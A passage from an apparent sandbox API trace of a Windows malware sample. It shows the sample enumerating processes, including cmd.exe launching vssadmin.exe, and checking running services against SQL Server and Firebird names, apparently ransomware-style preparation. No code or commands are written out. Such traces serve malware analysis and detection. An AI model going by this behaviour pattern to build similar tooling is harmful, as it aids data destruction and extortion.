cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="johnston-audit-transportation.exe")) returned 1 [0061.652] lstrlenW (lpString="johnston-audit-transportation.exe") returned 33 [0061.652] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="noticed.exe")) returned 1 [0061.653] lstrlenW (lpString="noticed.exe") returned 11 [0061.653] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uploaded.exe")) returned 1 [0061.653] lstrlenW (lpString="uploaded.exe") returned 12 [0061.653] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hardware.exe")) returned 1 [0061.653] lstrlenW (lpString="hardware.exe") returned 12 [0061.653] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oracle.exe")) returned 1 [0061.653] lstrlenW (lpString="oracle.exe") returned 10 [0061.654] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creativity.exe")) returned 1 [0061.654] lstrlenW (lpString="creativity.exe") returned 14 [0061.654] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="returnsaturdaystakeholders.exe")) returned 1 [0061.654] lstrlenW (lpString="returnsaturdaystakeholders.exe") returned 30 [0061.654] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edited.exe")) returned 1 [0061.654] lstrlenW (lpString="edited.exe") returned 10 [0061.654] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0061.655] lstrlenW (lpString="custody.exe") returned 11 [0061.655] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aggregate ver hawaii.exe")) returned 1 [0061.655] lstrlenW (lpString="aggregate ver hawaii.exe") returned 24 [0061.655] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="same_oxygen_researchers.exe")) returned 1 [0061.655] lstrlenW (lpString="same_oxygen_researchers.exe") returned 27 [0061.655] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receipt affects separated.exe")) returned 1 [0061.656] lstrlenW (lpString="receipt affects separated.exe") returned 29 [0061.656] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius.exe")) returned 1 [0061.656] lstrlenW (lpString="radius.exe") returned 10 [0061.656] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="extensions.exe")) returned 1 [0061.656] lstrlenW (lpString="extensions.exe") returned 14 [0061.656] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="desperate.exe")) returned 1 [0061.657] lstrlenW (lpString="desperate.exe") returned 13 [0061.657] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professor-mo.exe")) returned 1 [0061.657] lstrlenW (lpString="professor-mo.exe") returned 16 [0061.657] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance.exe")) returned 1 [0061.657] lstrlenW (lpString="guidance.exe") returned 12 [0061.657] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="week.exe")) returned 1 [0061.658] lstrlenW (lpString="week.exe") returned 8 [0061.658] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="brazilian river delay.exe")) returned 1 [0061.658] lstrlenW (lpString="brazilian river delay.exe") returned 25 [0061.658] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sn featured.exe")) returned 1 [0061.658] lstrlenW (lpString="sn featured.exe") returned 15 [0061.658] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edgar_academic_dvd.exe")) returned 1 [0061.658] lstrlenW (lpString="edgar_academic_dvd.exe") returned 22 [0061.658] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="floor_relate_welfare.exe")) returned 1 [0061.659] lstrlenW (lpString="floor_relate_welfare.exe") returned 24 [0061.659] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0061.659] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0061.659] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ContinuumLoosely.exe")) returned 1 [0061.659] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0061.659] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x950, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0061.660] lstrlenW (lpString="cmd.exe") returned 7 [0061.660] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0061.660] lstrlenW (lpString="conhost.exe") returned 11 [0061.660] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0061.660] lstrlenW (lpString="vssadmin.exe") returned 12 [0061.660] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0061.661] lstrlenW (lpString="VSSVC.exe") returned 9 [0061.661] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.661] lstrlenW (lpString="svchost.exe") returned 11 [0061.661] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0061.661] lstrlenW (lpString="LogonUI.exe") returned 11 [0061.661] Process32NextW (in: hSnapshot=0x334, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0061.661] CloseHandle (hObject=0x334) returned 1 [0061.661] Sleep (dwMilliseconds=0x1f4) [0062.556] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x806b08 [0062.556] EnumServicesStatusExW (in: hSCManager=0x806b08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 0 [0062.557] GetLastError () returned 0xea [0062.557] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x12c6) returned 0x3372ff8 [0062.557] EnumServicesStatusExW (in: hSCManager=0x806b08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3372ff8, cbBufSize=0x12c6, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3372ff8, pcbBytesNeeded=0x34bff44, lpServicesReturned=0x34bff5c, lpResumeHandle=0x0) returned 1 [0062.558] CloseServiceHandle (hSCObject=0x806b08) returned 1 [0062.558] lstrlenW (lpString="Appinfo") returned 7 [0062.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0062.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0062.558] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0062.558] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0062.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0062.558] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0062.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0062.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0062.558] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0062.558] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0062.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0062.558] lstrlenW (lpString="AudioSrv") returned 8 [0062.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0062.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0062.558] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0062.558] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0062.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0062.558] lstrlenW (lpString="BFE") returned 3 [0062.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0062.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0062.558] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0062.558] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0062.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0062.558] lstrlenW (lpString="CryptSvc") returned 8 [0062.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0062.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0062.558] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0062.559] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0062.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0062.559] lstrlenW (lpString="CscService") returned 10 [0062.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0062.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0062.559] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0062.559] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0062.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0062.559] lstrlenW (lpString="DcomLaunch") returned 10 [0062.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0062.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0062.559] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0062.559] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0062.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0062.559] lstrlenW (lpString="Dhcp") returned 4 [0062.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0062.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0062.559] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0062.559] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0062.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0062.559] lstrlenW (lpString="Dnscache") returned 8 [0062.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0062.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0062.559] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0062.559] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0062.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0062.559] lstrlenW (lpString="DPS") returned 3 [0062.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0062.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0062.559] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0062.559] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0062.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0062.559] lstrlenW (lpString="eventlog") returned 8 [0062.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0062.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0062.560] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0062.560] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0062.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0062.560] lstrlenW (lpString="EventSystem") returned 11 [0062.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0062.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0062.560] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0062.560] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0062.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0062.560] lstrlenW (lpString="gpsvc") returned 5 [0062.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0062.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0062.560] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0062.560] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0062.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0062.560] lstrlenW (lpString="iphlpsvc") returned 8 [0062.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0062.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0062.560] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0062.560] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0062.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0062.560] lstrlenW (lpString="LanmanServer") returned 12 [0062.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0062.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0062.560] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0062.560] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0062.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0062.560] lstrlenW (lpString="LanmanWorkstation") returned 17 [0062.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0062.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0062.561] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0062.561] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0062.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0062.561] lstrlenW (lpString="lmhosts") returned 7 [0062.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0062.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0062.561] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0062.561] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0062.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0062.561] lstrlenW (lpString="MMCSS") returned 5 [0062.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0062.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0062.561] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0062.561] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0062.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0062.561] lstrlenW (lpString="MpsSvc") returned 6 [0062.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0062.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0062.561] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0062.561] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0062.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0062.561] lstrlenW (lpString="Netman") returned 6 [0062.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0062.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0062.561] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0062.561] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0062.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0062.561] lstrlenW (lpString="netprofm") returned 8 [0062.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0062.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0062.561] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0062.561] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0062.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0062.562] lstrlenW (lpString="NlaSvc") returned 6 [0062.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0062.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0062.562] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0062.562] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0062.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0062.562] lstrlenW (lpString="nsi") returned 3 [0062.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0062.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0062.562] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0062.562] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0062.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0062.562] lstrlenW (lpString="PcaSvc") returned 6 [0062.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0062.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0062.562] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0062.562] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0062.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0062.562] lstrlenW (lpString="PlugPlay") returned 8 [0062.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0062.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0062.562] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0062.562] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0062.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0062.562] lstrlenW (lpString="Power") returned 5 [0062.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0062.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0062.562] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0062.562] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0062.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0062.562] lstrlenW (lpString="ProfSvc") returned 7 [0062.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0062.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0062.562] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0062.562] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0062.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0062.563] lstrlenW (lpString="RpcEptMapper") returned 12 [0062.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0062.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0062.563] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0062.563] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0062.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0062.563] lstrlenW (lpString="RpcSs") returned 5 [0062.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0062.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0062.563] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0062.563] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0062.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0062.563] lstrlenW (lpString="SamSs") returned 5 [0062.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0062.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0062.563] 